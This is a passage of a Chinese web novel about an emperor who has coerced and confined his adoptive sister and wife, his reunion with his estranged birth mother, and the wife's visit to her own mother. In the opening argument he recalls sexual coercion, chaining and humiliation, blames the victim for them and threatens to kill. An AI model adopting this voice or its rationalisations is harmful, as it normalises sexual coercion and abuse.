“无缘无故发怒把我弄伤的是你,逼我裸身在梳妆台上承受的人是你,对我极尽亵弄、还逼我用唇舌给你……也是你!你凭什么对我做这些,你向我道过歉吗?”
周奉疆皱眉呵斥她:“这都是多久之前的事了,你再提这些有意思吗?何况难道真的就只是我在强迫你?你自己没有过欢愉吗?不论是你说的哪一次,你身子都是缠着我、咬着我的,你也是快活的!媜媜,那只是我们夫妻的闺房之乐、床帷私趣而已!”
媜珠泪如雨下,
“我失忆之后,被你抓回来的日子里呢?你把我当做牲畜一般用锁链锁着我、你对我极尽侮辱之事,用我父亲先祖的牌位、用荔枝……”
“那是你自找的。周媜珠。我同你说过很多次,若是你一开始就没有逃、若是你在被我抓回来后就跟我认错,我是不会这样对你的!是你一次次顶嘴倔强,我才不得不给你一点惩罚让你知错认错!”
这场争吵依然不会有什么善果。
媜珠侧首望向画舫外的雨幕,声音轻到无力:
“你永远只会伤害别人。周奉疆,你扪心自问,你一生活着都是在伤害别人。你有真心对一个人好过吗?你知道怎样真心爱一个人吗?
——嘘,你别跟我说你真心爱我,我嫌恶心。你也别说你是真心善待我的母亲,你若真心善待养母,也不会做出□□养母独女的事情了。”
“今天我见到你生母了,我在想,是因为你生母的缘故吗?你从来没有被你的生母爱过,在你的记忆中,她一直在伤害你,所以你也总是下意识地用这种强硬的方式伤害你身边的人。
我看到你亲弟弟谢秉清的样子了,我虽和他交谈不多,但能看得出他性情温和,为人温润如玉,风度翩翩,他和你虽为亲兄弟,一母所出,模样相像秉性却一点也不一样。因为你母亲不爱你,爱他。被母亲爱着长大的人,是不是才会去真心爱别人?”
周奉疆一提这话当即暴怒如雄狮一般抓狂:
“闭嘴!周媜珠你给我闭嘴!不许你再提他!也别再我和提那毒妇!”
他指着媜珠,心口剧烈起伏,暴怒不可止歇,“你们都是这样,都是这样!她最疼谢秉清,连你也中意他,你不就才和他见了一面!周媜珠,你……你个养不熟的白眼狼!”
“从来没有人在意过我,从来没有人爱过我,不论我为你们做什么都不行!我把我所有的最好的都给了你们,我给你一往情深和荣华富贵,你却满口只说谢秉清的好话!我给了她十箱黄金,她拿着我给她的东西去为谢秉清的前程铺路打点!”
“你们都这样!从没有人在意过我,我何错之有?我何错之有?我就不该留你们在世上,我该杀了你,杀了她,把你们都杀了!你们所有人都不爱我,对我都没有半点真心!生母如此、养母如此、连我心爱之人也是如此!我这一生到底做了什么罪孽!为什么人人都要如此待我!”
他愤怒地嘶吼着,媜珠哽咽微笑:“好啊,你母亲也许今夜还在这湖上呢,你把她叫来啊,把我们一起掐死沉湖喂鱼了才好。”
媜珠话音刚落,伴随着嘭的一声巨响,附近的一艘游船因为大风和暴雨导致的飘移倾泻,重重撞向了他们的船。
这一下撞得当真不轻,媜珠脚下不稳当即往地上扑去,周奉疆上前一把稳稳地抱住了她。
待稳住媜珠后,周奉疆下意识地朝外望了一眼,却看到那艘撞到他们的游船上,一个五十岁左右的妇人双手用力扒在船窗上死死地盯着他们这边。
离得这么近,显然刚才他与媜珠之间的所有争吵,那艘船里的人也是听得见的。
周奉疆看清了那个妇人的容颜。
那是他的生母,郑夫人。
媜珠也愣住了。
两艘船上的船娘船夫们待湖面风浪稍平,皆连忙划桨撑开两船间的距离。
郑夫人忽地冲到了甲板上,拼命朝这边叫喊起来:
“大郎,大郎,我的大郎,你容我过去,容我过去见你一面……”
周奉疆冷冷地转过了头去,带着媜珠往船舱内去:“不必理会那疯妇叫唤!”
那边郑夫人的儿女和丈夫以为她是陡然中了什么失心疯,全都冲到外头阻拦起她来,而郑夫人拼命挣脱家人的拉扯,依旧喊道:
“你如今贵不可及,你不让我来见你,我这辈子也不再能见到你一面了……”
船舱内,媜珠用力推开周奉疆的手:“你不是恨她在扬州时连见你一面也不肯吗?现在她要来见你了,你还不准?”
她无奈地叹息:“母子骨肉之情终难割舍的,她要见你,你就见见她吧。”
“你也是想见她的,想和她说说话的,对不对?”
周奉疆一把拂开媜珠,他怒气冲冲地向外走去,对着那头船上的郑夫人喊道:
“你的一生都在抛弃我,现在又假惺惺说要来见我做什么?你还怕这辈子再也见不到我?我看你求之不得才对!难道是要来和我叙什么所谓的母子之情?你不是想来吗,来啊,你来了我就掐死你把你扔下去沉湖,我说到做到!”
他这会在和郑夫人与媜珠这两个伤他最深的女人的刺激之下,其实神智已经完全不像是个正常人了。
郑夫人在那边愣了愣,很快依然坚定地说道:
“我要去,你让我过去看看你,你杀了我我也愿意。你让我过去,大郎,我要过去见你。”
周奉疆冷笑着命令倪常善:
“去,把她从那头甲板上接过来。我看看她要对我说什么。”
第79章
这些年来,郑萱娘的内心总会时常处于愧疚与不安之中,哪怕她看似过着多么美满的日子,也还是时常会在午夜梦回时陡然惊醒,汗湿衣衫。
这份不美满源于她对她第一个孩子与第一任丈夫的心虚与亏欠。
她没有将自己丈夫战死的抚恤花在他唯一孩子的身上,她把丈夫用性命换来的最后一笔钱送给了自己娘家的弟弟娶妻。
而后,她又抛弃了她和她原配丈夫留下的这个唯一血脉,只为将自己过往的人生洗成一张白布,“清清白白”地再去嫁给别的男人。
其实她无颜面对她的原配丈夫,也常常因为抛弃了那个孩子而受到内心的谴责。
恐怕在天下人眼里,不论是男人还是女人,所有人都会唾弃她的所作所为的吧?
她知道她看似美满平静的人生里,终究还是存着一丝不如意。
未必是那样的刻骨铭心、百世难忘,未必日日夜夜让她心痛如刀绞、寝食难安,但总是扎在她血肉里的一根刺,一根细细的刺,取不出,挖不掉,不经意间碰到了就会扎你一下,让你坐卧难安,如鲠在喉。
她爱她的第一个孩子吗?
剖心切肺地说一句诚心话,——不爱。
她不爱他,直到现在还是爱不起来。
她最爱的是自己和第二任丈夫的长子秉清,然后是自己的长女,次子,次女。
为什么同样是她的孩子,她独独不爱他?
起先是因为和他在一起时,他们母子在北地冀州的日子实在太艰难,那样贫瘠的生活,当每日连吃饭和活着都成了问题时,她没有太多的精力和情意去爱自己的孩子。
再后来,她离开了冀州,终于到扬州过上了自己安稳的生活,当她开始有精力去爱自己其他的孩子时,他们母子已经分开很久了。
在她的记忆中,年复一年的过去后,她都快忘记他的样子了。在她心里,她也对他感到了陌生。
长久的骨肉分离,长久的朝夕不见,再浓的母子情意,也该淡得一文不值了。——何况他们的母子情分本来就没有浓过。
所以,如果让她再选一次,当年在冀州她依然会抛弃他,当年在扬州她依然不会选择去见他。
她不会为了他而放弃或是打破自己本应平静的生活。
但即便她不爱他,也同样改变不了她对他的内疚与悔恨。
如果她能做什么来为自己赎罪,让她能够从此心安理得地活在这个世上,让她每次去佛堂寺庙内上香祈福时不再饱受佛祖菩萨慈悲目光的审视谴责,那她愿意去做。
在扬州时,他给她送了十箱黄金,她为什么不愿见他呢?
因为那时候的她知道,这个儿子过得很好,他过得比她好多了,他什么都不缺,她的出现对他来说并没有意义,她什么都给不了他。
和他见面,不仅不能让她通过某种方式的付出来缓解内心的愧疚感,还会打乱她彼时应有的生活。
于是,她选择了不见,选择了和他各自安好,勿挂勿念。
在扬州得知自己当年抛弃的儿子竟然就是那个在北地称雄的霸主时,她的内心是无比震撼的,或许丢下他的时候,她连他还是否会活在这个世上都不敢想,谁能猜到这个孩子竟还有此等的造化?
他过得好,她不能为他做什么,她永远亏欠了他,所以她内心对他的歉疚一直没有少过。
但这对她来说也并非完全没有好处,至少知道他好,多少次午夜梦回时,她也不用再梦见一个骨瘦如柴的孩子朝她追魂索命、向她质问她为何要将他抛弃、眼睁睁地送他去死了。
再后来的几年里,她在心中想起这个孩子的次数越来越少了。
哪怕她知道她的儿子就是现在坐在龙椅上的那个天子,她既无半分与有荣焉的自得之意,更没有想要和他攀附关系,朝他索要些什么。
自他六岁那年之后,她就再也没有见过他,连他今时今日会是何等模样她都不知道。
白日里她和他在湖畔有过一面之缘,可即便如此,她都不曾在自己心中怀疑过这会是她的亲生儿子。
直至方才。
湖面起风,推动着游船四处飘移,她夜中难眠,独自一人在甲板上发呆,忽地听到不远处那艘华丽画舫内传来的年轻男女激烈的争吵声。
她猛然意识到,原来那艘画舫里的那个男人,居然就是她的儿子,当朝的天子。
那一刻她满心震撼,脚下不稳,险些一下栽倒进湖中。
自然了,她也能听得出来,她的儿子似乎过得并不是很开心,至少,他对面的那个女子也叫他伤心了。
吵着吵着,那个年轻女子提到了她,提到了她这个生母,年轻女子说,她的儿子一生无缘真心,都是因为她这个生母对他的伤害。
郑萱娘听着那对男女似远似近的争吵声,内心一片冰封,痛到几乎流血。
也并非完全是心疼自己的儿子,更多是常年的礼佛祈福使她内心具有了强烈的罪恶感,她惭愧,她发现或许那个年轻女子说的都是对的,她抛弃伤害了自己的儿子,她的儿子变成如今这般模样,她也有罪。
她把爱分给了别的孩子,得到她爱的孩子一生顺遂安宁,得不到她爱的孩子变得喜怒不定、性情残暴,一生都活在自我折磨的痛苦里。
她有罪,她还是有罪的。
她愿意去赎罪。
她不爱他,可他若是能掐死她、让她得以偿还自己的罪孽,让她其他的四个孩子们能有一个无罪无孽的生母,她愿意从容赴死。
在倪常善的搀扶下,郑萱娘从容地跨过了两船之间的那点缝隙,冒着暴雨和狂风,登上了另一艘船的甲板。
身后的谢家人对这一幕感到茫然而错愕,拼命地想要拉回她。
郑萱娘回头望了一眼自己的丈夫和四个孩子,最终她将目光落在了自己的丈夫身上,她轻声道:
“这是我当年在冀州犯下的罪孽,是我一生难安的罪孽,到底如何,因果在此,我终归还是要去做个了结的。你别劝我,别劝我了。我毁了他的人生,偷来了和你这二十多年的夫妻美满,该还给他的,我也要还给他。”
说罢,郑萱娘在倪常善的指引下一步步踏入了画舫的船舱内。
媜珠早已离开,她去了船舱的底层里避了一避,和几个船娘们歇在了一起,将就将这一夜打发过去。
船舱内的倪常善也很快离开。
借着朦胧而摇晃的烛灯,郑萱娘看到了一个男子高大健硕的身影,他正疲惫地坐在窗沿边的一把太师椅上,躬着脊背,以手撑额,她看不清他的神色。
雨水湿透了她的衣裳,但她一点也不在意。
她一步一步坚定地走到他身边,良久之后,在沉沉死寂中,她终于哑着嗓子唤了他一句“大郎”。
她是没有给他取名字的。那时候也就因为他是她的长子,她就囫囵按着序齿唤他大郎。
听到郑萱娘的呼唤,周奉疆头也未抬,仍旧不理不睬。
郑萱娘抹了把眼眶中的泪水,又唤他:
“大郎,这么多年,你在外头过得如何呢?我的儿,今夜又缘何这般伤心?方才那女孩子是谁,是你的妻吗?你已娶了妻室,母亲心中当真为你高兴。”
周奉疆霍然抬头望向她:“你在叫谁大郎?你对着我叫出这声大郎时,你想到的是我,还是你在谢家生的大郎谢秉清?你的泪又是为谁而流?是为了我,还是为你再也不能看见你最疼爱的谢秉清了?”
他真的变了。
他不再是当年冀州那个任她虐待、宣泄怒气的孱弱幼犬,他长大了,长成了一头凶暴的、能吃人的恶狼了。
他也从未用这样的眼神看过她。
时隔二十多载,这就是母子重逢后互相说出的第一句话。
郑萱娘抹了抹泪,立在原地一言不发。
又是许久的沉默后,她上前靠近了他,站在了他的身边,抬手抱住他,将他的脑袋轻轻拥入自己怀中,轻柔地抚摸着他。
“大郎,我不是个好母亲——”
“你是。你是个好母亲,何必这般妄自菲薄?对于谢家兄妹而言,你是天底下最好的、最慈爱的母亲。对于死在北地的李氏小儿,你才是这世上亘古未有的毒妇。”
她一句话还未说完,周奉疆就冷冷地打断了她。
郑萱娘和原配丈夫李嶂所生的李氏小儿,早已死在了北地。他无父无母,一生孤苦。
活下来的那个人,是周家的养子,是周奉疆。
面对这个孩子的每一句指控,郑萱娘皆无言以对。
但他并没有推开她,他还是安静顺从地让她抱着他,他靠在她的怀中,静静感受着这份从未有过的、虚假作伪的母爱。
郑萱娘只能叹气:
“我的确待你不好,我不敢狡辩,也不愿口出虚言谎称自己有多么爱你。我对你不好,我也没有像爱你的弟弟妹妹们那般爱过你。——可是,我的儿,你永远是我身上掉下来的一块肉,就算母亲没有那样爱你,我也希望你可以过得好,过得比你的弟弟妹妹们都好,希望你永远快活,享尽人间荣华。”
果真如此,她果真不爱他。
周奉疆无声哂笑。
郑萱娘抱着他的脑袋,温柔地抚过他紧蹙的眉:
“你怨我恨我都好,可终有一件,我可以用我的所有向你发誓,我希望你快乐,希望你一切安好,这是千真万确的。”
她弯下腰身,握住周奉疆那双比她大了许多的手,
“我害你一生凄苦,用抛弃你为交换,换来了我在谢家二十来年的安稳生活,我心中有愧,我的儿,你掐死我、杀了我吧,至少这样我还能好受些,你也能好受些。我们母子一场,终究是要有个了断的。你掐死我,我不敢有半句怨言。”
郑萱娘身上冰冷的雨珠也沾染到了他的脸上,继而又顺着他高挺的鼻骨滑落进他的唇中,那滋味是苦的,涩的,泪一样的味道。
他剧烈的呼吸最终还是缓缓平复了下来:
“我不会杀你的。你回去吧。既见了一面,永生也不必再见了。”
话虽如此,但他并未主动推开她,郑萱娘也不肯走。
“方才你和她在船上的争执之声,我听见了。你心里憋着不痛快,我知道。如今你贵为人皇天子,若还有叫你不痛快的事情,也必是你一生的心结。是我害的,是我的罪孽。大郎,你讲给母亲听听吧,好歹你让母亲知道这些年你过得如何,你为何不快。”
年幼时、在刚刚被她抛弃的那段时间里,周奉疆曾经认认真真地在心中记下了自己每一日的所作所为。
他是如何觅食的,他是如何找个温暖些的地方睡觉的,他是如何熬下来的。
他想,当有朝一日他能再见到自己的母亲时,他要把这些事情仔仔细细地说给母亲听,告诉母亲他每天都在做什么。
但当他真的再见到她了,很多很多对他来说也很重要的往事,他却没有力气再提起半个字了。
比如说,他为什么能成为周鼎的养子,比如说,这些年他是如何在周家积蓄势力起家的。
这些都不重要了。
是这些事情不重要,还是她不重要?
是不值得说,还是不值得说给她听?
他也分不清了。
他只向她说起了一个人。
周媜珠。
或许是这夜的风雨相伴,或许是在这样昏暗的环境里,她的拥抱使他终于感知到了一点来自母亲的温柔爱意,他最终还是在她面前放下了心底的防线,向她倾吐出了自己心底深埋的苦楚。
这是他第一次有机会向她倾诉,也是他最后一次想对她多说些什么。
“——她是我养母赵太后的女儿。在周家,我被赵太后所抚育。我亲眼看着她出生、长大。她是我唯一的女人,是我毕生所爱。”
……
……
“她不爱我,现在她不爱我。你们所有人都不爱我。不管我付出多少,她永远不肯爱我分毫。我们的争吵永远不会停的。她永远都在恨我。可是我到底做错了什么?”
概括下来,这个故事似乎并不复杂。
周奉疆讲的很慢,而郑萱娘听得很认真。
听完后,她又沉默了很久很久很久。
原来只是因为如此吗?
他们吵的这么激烈,她的儿子变成这副模样,只是因为一个女人?
只是因为一个女人,让他痛苦这么久?让他能痛苦成这副模样?
他已经贵为人君,坐拥四海之富,想要什么样的女人没有?
为何却偏偏对那个女人放不下,为何偏偏要这样在意那个女人?
郑萱娘不理解,但她也没问得太细。
她知道她的儿子已经长大了,他这么做,必有他这样执着的缘由。
那是他心底认准了的女人,谁都改不了。
她保持着这个姿势,抚了抚周奉疆的额头:
“大郎……”
周奉疆无力的阖上双目:
“我到底该怎么做……我这一生到底该如何……”
“不论我怎么做都是错的,不论我怎么做都从没有人在意我。”
“生母如此,养母如此,她也如此。”
“现在她指责我根本不会爱人,她说,从我出生到这世上开始,我的生母都没有教会过我如何真心去对待旁人,我这一生永远都在伤害别人,活该我落得这般天地。”
这话的确没错。至少郑萱娘心中是认同那姑娘的说法的。
连她这个生母都不得不承认她说的对。
母亲如何对待孩子,这孩子大抵就学会了如何对待世人。
譬如周奉疆年幼时,他们在冀州,她的确从未关心过他,从未真心爱护过他,他蹒跚学步的时候常常摔倒,而她那时连过去扶他一把都不愿。
后来他长大了,看到路上有旁人摔倒在地,他既不会上前搀扶,也不会出声关心,因为对他来说这一切实在太正常不过。每个摔倒的人都应该得到这样的对待。
这样的例子还有太多。她对他总是一副冷言冷语。
其实后来她也有发现过,她的儿子渐渐戴上了她对他时候的那副面具。
冷酷,残忍,无情。
而秉清就不是。
他是被她哄着抱着长大的。他享受了她最多的、最完整的爱。
周奉疆生在了她最不应该生一个孩子的时候,而秉清则出生在她最最需要一个孩子为自己立身之时。
——这能够相提并论吗?这两个孩子在她心中的分量能够一样吗?
清儿长大后就是个温润如玉的男儿郎,对人总是好言好语,叫人永远生不起他的气来。
若是清儿在外看到有人摔倒在他面前,他定会上前把那人搀扶起来,然后再满眼关切地询问上几句。
那时候谢家里外的亲朋好友们谁不夸赞清儿?
人人都说这孩子生了一副好心肠,菩萨样,性情最是温和,又最是体贴,将来必定是孝顺父母、友善弟妹、疼爱妻儿的好孩子、好兄长、好丈夫、好父亲。
但是现在她不敢再在周奉疆面前说这些了。
再提这些,他只会愈发发狂。
郑萱娘缓缓地试探开口问他:
“……大郎,你是希望那位周家姑娘,和你好好地做一世的夫妻,和你安安稳稳的把日子过下去?”
周奉疆缓缓颔首:“生母不在意我,养母不在意我,我都能认了,但我不能容忍她不爱我。”
“我这辈子不能失去她。”
郑萱娘吐出一口气:
“……那若是这样,我瞧那姑娘说的似乎也没有什么错处。你和她好好道个歉,叫姑娘心里舒坦了,你们夫妻的日子还有的过。”
周奉疆好不容易才缓和下来的情绪,一下又被迅速挑了上来,他眼底一片通红的血丝,哪怕在昏暗之中依然显得如此骇人:
“我何错之有?我为何要跟她道歉?明明错的人是她!我何错之有?”
郑萱娘无奈地笑了笑:
“那姑娘说,你愿意为她做一切事,就是独独不愿道歉和她认错,到底是为什么?我的儿,你肯这样疼爱她,宠爱她,我不信是因为你拉不下这个面。”
“——是因为你觉得,只要你和她认了错,只要你承认你对她做的那些事是你做错了,这就相当于你承认了你在这段情里从头到尾都不对,你做错了,你没有爱她的资格,是吗?”
“承认你有错,就像承认你不该逾越兄妹界限去爱她一样,对不对,大郎?”
“承认你错了,你若向她道了歉,也代表这么多年来你为了得到她而付出的心血都是错的,你为她的付出,为她母亲、外祖家的付出,都是错的,都成了不值得的,你怕你的真心又被辜负了一场,他们都拿你当个笑话看。”
“你害怕的是这个。”
是,他怕的就是这些。所以他不认为自己有错。
他不能在这事上让步。
郑萱娘微微笑了笑:“可是我的儿,这只是你自己心中一面之词罢了,人家姑娘到底有没有这样想呢?你和她道个歉,好好哄哄她,一切尚有转机,彼此间何苦闹到这样地步?”
周奉疆缓缓自她怀中抬起了头,他的神色又变得冷漠了下来,寒声质问郑萱娘道:
“为什么?为什么每次都必须要我去卑微地低声下气地去祈求别人的爱?纵使你是我生母,我也不曾再对你有过半分幻想。哪怕是对你这个生母,我也不会卑躬屈膝地去讨好你、挽留你的爱,何况是对她!”
他活在这个世上,没有人给过他半分自尊,是他自己一点一滴用了二十多年的时间,无数次死里逃生,从刀山剑海里为自己赢回的尊严,他好不容易让自己活得像一个人。
谁也不能再剥去他的自尊,谁也不可能再让他低头。
周奉疆站了起来,离开了她的怀抱,他负手而立,背对着她望向窗外尚未停歇的满湖风雨:
“你走吧。我不会掐死你,你回去和你的丈夫、儿女们,去过你应得的安生日子吧。这一世我们母子缘浅,我已认命了。若不是你刚刚在船上听到我和她争吵着说要掐死你和她,恐怕你也不会这么想来见我。”
“你为什么会想来见我?不只是怕我杀了你吧,你还怕我报复你的丈夫和儿女,报复你那做了个小官的长子,是么?”
周奉疆轻笑了一声:“朕是天子,不是你的儿子。”
是,从她上船开始到现在,他连一声母亲也没有唤过她。
他是天子,他不会去和她、和一个小小的谢家斤斤计较。
他不是她的儿子,他同她没有半点关系,和谢家更是没有任何瓜葛,她更不用担心他的报复。
郑萱娘有些局促不安地看着自己的儿子,她只能低声道:
“母亲对你的确有千万般的亏欠,但母亲希望你能开心,高兴,希望你过得好,这点是从未变过的。”
“你当然希望我过得好,我过得好了,你内心受你的佛祖菩萨们的谴责和罪恶感就要少的多。”
郑萱娘又道:“你心爱那个女孩子,我希望她也能爱你,和你琴瑟和鸣地过完一世,我也期盼着她为我的儿子生儿育女,和你白头偕老,儿孙满堂。”
周奉疆依然冷笑:“你是希望她爱我,还是希望她中意你的长子谢秉清?”
他话中还有暗怪她白日里和谢秉清一起攀谈搭讪媜珠的意思。
郑萱娘一而再的无言以对,她也累了。
她只能告诉他:“你的妻子,你的妹妹,她和我们都不一样。你可以不奢求养母、生母的爱,但你离不了她。”
“我只听了你的一面之词,也觉得你对她有大错,何况是她自己?”
“你不想见母亲,母亲可以走,也可以待在这里任你掐死沉尸湖底。可你不能这样对她,你也舍不得这样对她的。”
“如果她也走了,她也永远不再见你,如果你杀了她,你只会后悔终生。她和你母亲不一样,她没有伤害过你,是你伤了她,你要和她好好道歉。”
离开之前,她还是再度走到了他身边,环抱住他,像安抚婴儿一般拍了拍他的背:
“她不是说你不会真心爱人么?那母亲告诉你怎么爱她。你要和她好好地谈一谈,你要问问她,这桩婚姻里,她究竟哪里过得不开心,只要她不高兴,那就是你的错,是你身为丈夫的失职,你要改变,你要让她高兴。你做的千般万般再好,可对她而言她不快活,那就是你的错。”
“身为人君,身为丈夫,对妻子如是,对天下百姓也如是。
多少的皇帝统御天下臣民,自以为自己宵衣旰食、夙夜不怠,似乎当真为了臣民们竭尽心血。可他的臣民们呢?依然是颠沛流离、饥寒交迫,卖儿鬻女。这又该如何评说?是光靠这个皇帝嘴上说自己多么多么爱民如子,他臣民百姓们的痛苦就不存在了吗!天下岂有这样的道理!”
假使郑夫人此刻当真是皇太后,而她的这番话有机会被左右史官记述下来的话,在史书中应当也是浓墨重彩的一笔。
不过很可惜,未央湖上的这个夜晚,除了皇帝周奉疆自己之外,并没有人有机会再听到她的话。
媜珠在第二日上午回到了宫中。
这一路上她和周奉疆一句话也没说过,她无意主动开口问他昨晚他生母都和他说了些什么,而周奉疆总一副闭目养神沉思的样子,他也没几分和她说话的欲望。
媜珠乐得清净。
回到椒房殿内,佩芝一面服侍她更衣梳妆,一面又告诉她说,皇帝已经免了她的禁足,也不会再强逼着她喝那坐胎药了。
媜珠淡淡地哦了一声。
梳妆更衣毕,媜珠在玫瑰圈椅上坐下,抬手唤灿娘子过来。
说来奇怪,那猫儿每次见她从外头回来都一副高兴得不得了的样子,拼命往她身上扑,今日它却显得格外冷静些似的。
它慢慢悠悠地竖着猫尾巴蹭到了媜珠的身边,先是围着她转了好几圈,胡须耸动着凑近去闻她身上的味道。
媜珠知道灿娘子不喜欢周奉疆碰她,自从那次灿娘子抓伤过周奉疆之后,每次周奉疆来碰过她,只要它闻到她身上残存的情欲气息,就会变得不大高兴,然后示威似的隔空龇牙咧嘴几下,像是在对着周奉疆发怒。
媜珠本以为今日也是如此。
可灿娘子围着她闻了好几圈后,两只前爪搭在了她的膝盖上,伸出猫头静静地对着她的腹部发起了呆,时不时还继续重重对着她的肚皮嗅闻几下。
第80章
不过媜珠此刻对灿娘子的异常并未放在心上。
她陪它玩了一会儿,又去母亲宫中向母亲请安。
很多时候,人往往无法要求另一个人毫无保留、全心全意地只爱着自己一个人。哪怕这个人是自己的父母、儿女。
媜珠有时想想,她也实在无法苛责自己的母亲太多。
那一次和母亲争吵时,她怨恨母亲没有真正为自己考量过、不顾她的意愿逼迫她留在这宫里继续去和周奉疆虚与委蛇,只为保住这个皇后之位,只为了她和她母族赵氏的荣华显贵。
但其实后来又仔细想一想,母亲实则也并没有的选,就算她想要救她的女儿,她又能怎么做呢?
哪怕她真的想救,她也没有办法,她只能这样糊里糊涂佯做知足满意地把这日子过下去。
母亲也是人,也会有自己的私心私欲,她爱她这个女儿,若是当她的女儿处于生死关头,她会跪地祈求天神地母们拿她的命去换她女儿活下来。
然当一切无事发生时,她又希望她的女儿乖乖地按照她的要求嫁给这世上最有权势的男人,乖乖地给她生下孙儿孙女,延续她体面的一生,让她的晚年和她的死后哀荣、香火供奉得到保障。
媜珠知道,即便母亲对她也有这样利用的私心,但她仍然是这世上最爱她的人,比她的父亲周鼎更加爱她,爱到愿意真的把自己的命给她。
她也算够幸运了,母亲只有她一个孩子,她把她所有的、对一个孩子的爱都给了她,至少在母亲的疼爱下,她的整个幼年时代都过得无比幸福,她胜过了这世上九成的孩子了。
这样已经足够了。她给她的爱已经足够多了,她不能再向母亲索取更多了。
就这样吧,身为女儿,她也未必能给母亲拿出更胜于母亲馈赠给她的爱。
这一次再到承圣殿内见母亲时,媜珠与赵太后母女两人便是一派和气温情的母慈女孝,仿佛曾经隔阂的确一去不复返。
母女两人关起门来说了些贴心话,赵太后问起媜珠这个生辰在宫外过得怎么样,可有见了什么时兴新鲜的物件没有?
媜珠面带笑意,依偎在母亲身边,一一给母亲讲起她昨日的所见所闻,她吃过的点心、糖水,还有未央湖上的别致风光。
母亲拍了拍媜珠的背,满眼尽是高兴和慈爱的笑意:
“未央湖景当然是长安一绝了。几百年来那地方都是朝廷圈禁起来的行宫,那是天家才能游幸之所,如今你哥哥登基了,却叫人把行宫的宫墙都给拆了,说是留给百姓们纵玩游乐,与民同乐,将江山风光让给臣民共享。”
媜珠靠在母亲身上:“宫外没有什么金贵的东西,我在民间小贩手里买了些不值钱的小玩意儿,兴许母亲没见过,想拿来讨母亲一个高兴,母亲可别嫌弃女儿小气,没有珍奇宝贝献给您。”
赵太后轻轻推了她一把,与她玩笑道:“你母亲竟是这般的人?我要多珍奇的宝贝才算高兴啊?把你的心肝摘下来给母亲吃了倒好了!但凡是你送我的物件,我都收着好好的,从冀州收到长安来,来日我死了,我可不要和你那老匹夫爹合葬一处,我带着你献给母亲的宝贝入土了就心安了。”
媜珠连忙劝她:“母亲!母亲还春秋鼎盛的年纪,说这样丧气的话做什么,听的女儿心里不安。”
赵太后喏了一声,伸手遥遥指向她殿内多宝阁上摆着的一物,叫媜珠去看。
媜珠睁大眼睛细细看了看,笑说这东西怎么黑乎乎的,不像石头不像玉的。
赵太后瞥她一眼:“你这没良心的,这是你周岁礼上抓给我的寿桃,还是我亲自给你做的。你爹那老匹夫逗你去分寿桃,你第一个就分给了我,哎呦,我心里那叫一个潸然动容啊,险些当着人面前就哭出来了。这还是你送我的第一样宝贝,这面饼寿桃我就没舍得吃,一直摆着,摆了二十来年,就成了个黑乎乎的石头样了。等我老死了,也随我一起入土罢!”
媜珠的眼睛也立刻湿润了:“母亲!”
在未央湖畔上,媜珠无意间听到了一对路过的母女的谈话。
那对母女模样看上去也是官宦人家的贵妇千金,两人一路沿湖漫步闲谈,母亲便伤感地说,下月你就要嫁去夏家了,你爹爹眼看着要调任外地,我们全家跟着去了,再回长安也不知何年何月。
听说你夏家的公爹也谋划着给你夫婿婚后谋个外任,我女婿要往外走,你们年轻的新婚夫妻,当然是夫妇相随的。
我和你爹爹去东边,你要和女婿去南边,男人们任上的大小事情也说不一准,兴许在东边还没做几年的官,马上又被朝廷调去西边了。
咱们母女就此分离,余生也不知还有几回相见的光阴!
女人的命运不就是这样,无根的浮萍一般,连自己父母身边也不能久留。
当年你母亲就是从荆州老家嫁去的益州,跟着你爹爹做官又去冀州投靠先帝,而后又自冀州来到长安。
我嫁人二十年,娘家的爹妈就再也没见过一面了!
不知我女儿是否也像我这样的命数,难道我一辈子,就注定前二十年见不得母亲,后二十年见不得女儿!
那位夫人这样感慨,做女儿的虽还是十七八岁懵懵懂懂的样子,但也很快紧跟着落泪了。
女儿就撒娇任性道:“我不嫁夏家了,我要爹娘重给我找个夫婿,叫夫婿跟着爹爹做事,爹爹去哪夫婿去哪,我和娘亲永远不离开了,成婚了也日日回娘家和娘亲待在一处。”
夫人既笑且泪,最后无奈轻声道:“你以为嫁在父母边上就能不离得父母了?哎,就是嫁在家对面的胡同巷子里,不年不节的,出嫁的闺女隔三差五回娘家,你以为人家的唾沫星子不讲你。罢了,这就是咱们的命……”
后来那女儿又抱着母亲的胳膊说了些什么,媜珠就没再听见了。
她自己心中细细想来,或许本来她和她母亲也该在这世道里做一对再普通不过的、骨肉分离的母女了。
这个时代里,出嫁了的女儿,哪有机会能日日缠在母亲身边,见到自己亲生母亲的?
只是一系列的阴差阳错,让她和母亲得以侥幸摆脱了这样的命运而已。
她在这宫城里,母亲也在这宫城里,她每日都能来见到自己的母亲,陪着自己的母亲,在母亲身边尽孝。
所以有时再想想,或许古人常说的祸福相依也并非是没有缘故的吧?
她被周奉疆关在这里,却又得到了永远不和母亲分开的机会。
赵太后捏了捏媜珠的耳朵揶揄她:
“瞧你这样子,我今日倒有一个大孝女了,怎么见了我这样亲近,好似我真是你的亲娘了!”
媜珠便将在未央湖畔听到的那对母女的对话讲给她听,又低声认错,说自己从前不懂得珍惜待在母亲身边的机会,如今见到旁人想在自己母亲身边尽孝还不能够呢,她这才知道珍惜了。
赵太后连连点头,感慨说“很是”。
“从前在冀州时,我也不曾远嫁啊,我就嫁在这冀州城里,还做了风风光光的冀州侯嫡妻,难道我就能日日回娘家去见你外祖母了!更不能够。我嫁到周家去做了一族宗妇,见天的有多少事情等着我去忙,人家娶了我,哼,也不是叫我闲得整日回娘家的。不过是逢上年节、或是你外祖家有些喜事,比如你外祖父母的寿辰、家里的晚辈成婚娶妻、生了孩子的,我才有由头回去看看而已。”
她又叹气说:“如今我和你外祖母倒是显贵了,我是皇太后,她是皇太后的生母,皇后的祖母。可我们母女隔着这样的名分,一个宫里,一个宫外,也不能常常见面。我这样的身份,又不好随意出宫去,你外祖母年纪大了,入宫一回十八般的礼数,也不够折腾她身子的,我也不敢请她进宫来。哎。”
媜珠立刻安慰她说这也不难,
“他都能微服带我出宫玩了一整日,母亲身子还康健,以后也能悄悄的出宫去赵国公府里见外祖母啊!”
赵太后笑了:“好好好,好啊,你的主意好。你母亲以后就扮做个宫里的老嬷嬷出宫去看你外祖母,也不知会不会吓了她老人家。”
媜珠提起了那个“他”,赵太后这才敢试探着问她一句:
“那你和你哥哥现在也好了?你也想开了,好好和他过下去了?”
媜珠脸上的笑意沉了下去,嘟了嘟嘴,脸撇了过去:
“不过是面上混日子,彼此混着罢了,往后的事谁知道呢。”
提到周奉疆,媜珠忽然神秘兮兮地拉住了赵太后的衣袖:
“母亲,您知道吗,他的生母郑夫人还存于世呢,我昨日还巧遇了她,他也见了他生母了。”
